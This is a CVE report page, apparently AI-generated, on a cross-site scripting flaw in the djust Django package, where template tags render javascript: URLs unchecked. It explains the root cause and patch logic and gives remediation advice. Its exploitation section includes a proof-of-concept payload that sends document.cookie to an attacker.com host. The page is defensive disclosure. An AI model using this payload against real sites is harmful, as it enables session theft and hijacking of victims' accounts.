CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61597

CVE-2026-61597: Cross-Site Scripting (XSS) via Unsanitized URI Schemes in djust Component Template Tags

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 17, 2026·5 min read·3 visits

Executive Summary (TL;DR)

A vulnerability in djust (< 1.0.7) allows unauthenticated stored or reflected XSS because component template tags fail to validate URI schemes, allowing 'javascript:' payloads to execute directly upon user interaction.

Prior to version 1.0.7, the djust Python package is vulnerable to Stored and Reflected Cross-Site Scripting (XSS) via component template tags. The underlying issue exists because the package fails to sanitize or validate incoming URI schemes when rendering URLs inside interactive HTML attributes like href or action. While the framework HTML-escapes strings to prevent attribute breakout, it permits the execution of arbitrary JavaScript via the javascript: pseudo-protocol.

Vulnerability Overview

The djust library is a Django-based framework designed to provide high-performance, real-time UI updates over WebSockets. Under the hood, it leverages a Rust-powered rendering architecture to process templates server-side in a manner reminiscent of Phoenix LiveView. By bypassing complex front-end compilation steps, it allows developers to build reactive components natively inside Django.

A security vulnerability exists in several built-in component template tags nested within the djust.components.templatetags.* namespace. These tags are responsible for generating interactive elements, such as anchors and forms, and rendering developer- or user-supplied URLs into their respective attributes. The attack surface is exposed to any user-supplied content that binds to these components without rigorous backend validation.

Prior to version 1.0.7, the framework relied entirely on HTML escaping to prevent injection attacks within these tags. Although HTML escaping blocks traditional attribute breakout payloads, it does not prevent browser interpretation of alternative URI schemes. The resulting Stored or Reflected Cross-Site Scripting (XSS) vulnerability allows malicious script execution under specific user interactions.

Root Cause Analysis

The root cause of this vulnerability lies in the improper handling and verification of URI schemes inside the component rendering pipeline. Web templates require structural validation when rendering URLs inside tags like <a href="..."> or <form action="...">. While HTML escaping mitigates tag injection, it remains blind to the protocol part of the URL.

When a component template tag is processed, the system invokes Django's standard escaping mechanism or calls conditional_escape(url) internally. This routine successfully identifies and escapes structural characters such as double quotes, single quotes, and angle brackets. Consequently, input containing payloads like https://example.com" onmouseover="alert(1) is safely neutralized and rendered as an un-executable string inside the attribute value.

However, the javascript: pseudo-protocol consists entirely of alphanumeric characters, colons, and parentheses. Because these characters are not flagged as special HTML entities, conditional_escape yields the input string unchanged. When the browser parses the rendered document and the user triggers the interaction, the browser interprets the URI protocol scheme and executes the JavaScript instructions directly in the security context of the origin.

Code-Level Analysis and Patch Verification

To demonstrate the flaw, we analyze the logical vulnerable execution path within the tag generation logic. Below is a representation of the template output and Python processing routine before and after the security patch introduced in version 1.0.7.

<!-- Vulnerable Template Generation Pattern (< 1.0.7) -->
<!-- The context variable 'url' is rendered verbatim, relying solely on HTML escaping -->
<a href="{{ url }}">Action Link</a>
# Conceptual representation of the patch logic applied in version 1.0.7
import urllib.parse
 
SAFE_SCHEMES = ("http", "https", "mailto", "tel", "sms")
 
def sanitize_component_url(url_string):
    # Parse the incoming URL to isolate the protocol scheme
    parsed = urllib.parse.urlparse(url_string.strip())
    
    # If a scheme exists but is not explicitly whitelisted, invalidate it
    if parsed.scheme and parsed.scheme.lower() not in SAFE_SCHEMES:
        # Return a safe fallback to prevent script execution
        return "#"
    
    return url_string

The fix implemented in version 1.0.7 introduces structured parsing and whitelist-based scheme checking prior to output generation. By rejecting pseudo-protocols like javascript: and data:, the template tags can no longer inject executable script environments into structural HTML link attributes. This effectively closes the logical loophole left open by simple character-escaping routines.

Attack Methodology and Exploitation Paths

An attacker can leverage this flaw by submitting a malicious link to any model or input field that feeds into a djust template tag component. The attack requires minimal complexity and low privileges, meaning any authenticated user with the ability to edit a profile, leave a comment, or configure a dashboard link can act as the threat vector.

A functional proof-of-concept payload targeting the session context would look like the following: javascript:fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie))

Once the victim's browser renders the component containing this link and the victim clicks the element, the browser parses the javascript: scheme. The active session cookies (excluding those protected by the HttpOnly flag) are then transmitted to the external system controlled by the attacker.

Technical Risk and Impact Assessment

The security impact is classified as Medium with a CVSS v4.0 base score of 5.1. The threat primarily impacts subsequent systems and clients rather than the direct integrity of the host server filesystem or data layer.

A successful exploit permits arbitrary client-side code execution. Attackers can execute actions on behalf of the victim (similar to a Cross-Site Request Forgery attack), manipulate page contents to present phishing interfaces, or steal active session tokens.

Remediation and Defensive Mitigations

Immediate remediation requires upgrading the djust package to version 1.0.7 or later. The update implements standard, strict protocol validation that neutralizes the injection vector by neutralizing non-conforming pseudo-protocols inside component logic.

In environments where package upgrades are delayed by policy or regression testing requirements, developers must implement manual input filtering. This involves validating all URLs through a custom parsing validator prior to component rendering. Any URL containing an invalid scheme or a scheme not explicitly matching HTTP, HTTPS, or local relative paths must be rejected.

Official Patches

djust-orgOfficial Release Tag for v1.0.7 with security fixes
djust-orgOfficial Security Advisory (GHSA-4mf4-73j6-mvrw)

Technical Appendix

CVSS Score
5.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Affected Systems

djust Python package

Affected Versions Detail

Product
Affected Versions
Fixed Version
djust
djust-org
< 1.0.71.0.7
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score5.1
EPSS Score0.00%
ImpactCross-Site Scripting (XSS)
Exploit StatusPoC
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Developer tag version v1.0.7 released on GitHub
2026-06-22
Official NVD record published for CVE-2026-61597
2026-09-16
Security Advisory published via GitHub Security Advisory
2026-09-16

References & Sources

  • [1]djust Release v1.0.7
  • [2]GitHub Security Advisory GHSA-4mf4-73j6-mvrw
  • [3]National Vulnerability Database record for CVE-2026-61597
  • [4]CVE.org CVE-2026-61597 Record
  • [5]Wiz Vulnerability Database analysis for CVE-2026-61597

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-61592
7.4

CVE-2026-61592: Session Hijacking and Authorization Bypass in djust SSE Transport

A high-severity session hijacking and authorization bypass vulnerability has been identified in the djust framework prior to version 1.0.7. The flaw resides in the Server-Sent Events (SSE) transport implementation, which keyed sessions solely by client-provided session identifiers without verifying session ownership or binding. This allows an attacker who possesses or guesses a victim's session identifier to send malicious post messages to execute arbitrary state machine event handlers under the identity and permissions of the victim.

Alon Barad
Alon Barad
3 views•6 min read
•about 3 hours ago•CVE-2026-61591
8.1

CVE-2026-61591: State Snapshot Injection and Mass Assignment in djust Framework

CVE-2026-61591 is a high-severity state injection and authorization bypass vulnerability affecting the djust framework's opt-in State Snapshot feature. Prior to version 1.0.7, the framework restored public view state snapshots returned from the client browser during back-navigation without validating their cryptographic authenticity or integrity. This flaw allows malicious clients to manipulate serialized JSON payloads to inject unauthorized properties, leading to mass assignment (CWE-915) and privilege escalation. Version 1.0.7 addresses this issue by introducing HMAC cryptographic signatures bound to both the view configuration and the user's session identifier.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 4 hours ago•CVE-2026-19931
9.8

CVE-2026-19931: Unauthenticated Session Reuse Vulnerability in libcurl Negotiate Implementation

A critical connection reuse vulnerability exists in curl and libcurl between versions 7.64.1 and 8.21.0 inclusive when Negotiate authentication (SPNEGO) is configured with blank credentials. Because libcurl fails to track changes to the underlying operating system's ambient security context, persistent authenticated connections are incorrectly matched and shared between distinct user sessions, allowing subsequent users to execute requests with the authorization state of the prior user.

Alon Barad
Alon Barad
6 views•8 min read
•about 4 hours ago•CVE-2026-61588
6.5

CVE-2026-61588: Sensitive Data Exposure via Over-Serialization in djust Framework

A sensitive data exposure vulnerability exists in the djust framework before version 1.0.7. When serializing Django models to public view attributes, the framework fails to filter out sensitive fields such as passwords, privilege flags, and private tokens, leading to over-serialization and exposure of sensitive records to the client browser.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 5 hours ago•CVE-2026-61596
7.1

CVE-2026-61596: Broken Object-Level Access Control (IDOR) in djust Framework

A broken object-level access control (IDOR) vulnerability exists in the djust Django framework prior to version 1.0.7. The framework's per-object authorization hooks were enforced correctly over WebSockets but entirely bypassed on synchronous HTTP GET rendering, SPA client-side navigation, and embedded sub-views, allowing authenticated attackers to view arbitrary unauthorized database records.

Alon Barad
Alon Barad
4 views•5 min read
•about 6 hours ago•CVE-2026-61589
6.3

CVE-2026-61589: Host Header Propagation Failure in djust WebSocket Live Path Reconstructor

CVE-2026-61589 is a security-bypass and information-disclosure vulnerability in the djust library prior to version 1.0.7. The library's WebSocket live path component fails to propagate the client HTTP Host header when dynamically reconstructing Django HttpRequest objects. Consequently, multi-tenant Django applications that rely on Host-based resolution may fail to isolate data correctly under certain configurations, leading to unauthorized cross-tenant data access.

Alon Barad
Alon Barad
3 views•6 min read